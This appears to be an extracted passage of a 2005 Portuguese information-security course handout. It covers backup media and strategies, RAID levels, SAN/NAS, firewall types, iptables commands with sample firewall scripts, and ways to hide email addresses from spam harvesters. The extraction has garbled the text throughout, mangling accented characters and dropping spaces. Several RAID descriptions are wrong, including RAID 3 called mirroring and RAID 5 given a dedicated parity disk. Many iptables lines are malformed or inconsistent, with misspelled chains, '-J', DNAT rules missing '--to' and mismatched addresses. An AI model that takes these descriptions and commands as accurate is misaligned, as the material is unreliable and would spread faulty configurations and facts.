acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 465 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 143 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 993 -j DNAT - -to 101003Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 37 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005649) Firewall para compartilhamento do Acesso a Internet libera forward no kernelecho ldquo1rdquo gt procsysnetipv4ip_forward

Poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso a interface loiptables -A INPUT -i lo -J ACCEPT libera a entrada de conexotildees iniciadas pela maacutequinaiptables -A INPUT -m state - -state ESTABLISHEDRELATED -j ACCEPT bloqueia entrada na rede de conexotildees invaacutelidasiptables -A FORWARD -m state - -state NEWINVALID -j DROP hablitando o macascaramento com ip dinacircmicoiptables -t nat -A POSTROUTING -s 192168254024 -o eth0 -j MASQUERADE libera a entrada de conexotildees iniciadas pela redeiptables -A FORWARD -o eth0 -m state - -state ESTABLISHEDRELATED -j ACCEPT habilita o forward vinda da rede internaiptables -A FORWARD -i eth1 -s 192168254024 -J ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 38 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20057) SPAMO SPAM praacutetica tatildeo comum nos dias atuais tem se tornado um problema para a maioria dosadministradores de sistemas desenvolvedores e usuaacuterios de internet mas a medida que os filtros anti-spamevoluem as teacutecnicas utilizadas para burlar os filtros se desenvolvem mais raacutepido ainda Uma teacutecnica que temsurtido efeito eacute o uso da heuriacutestica mas seu ponto fraco eacute apresentar uma grande quantidade de falsospositivosMas uma coisa eacute certa muito administradores estatildeo ajudando os inimigos principalmente aquelesque devolvem as mensagens rejeitadas ao spammer que passam a ter certeza da existecircncia daquele e-mail

Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves 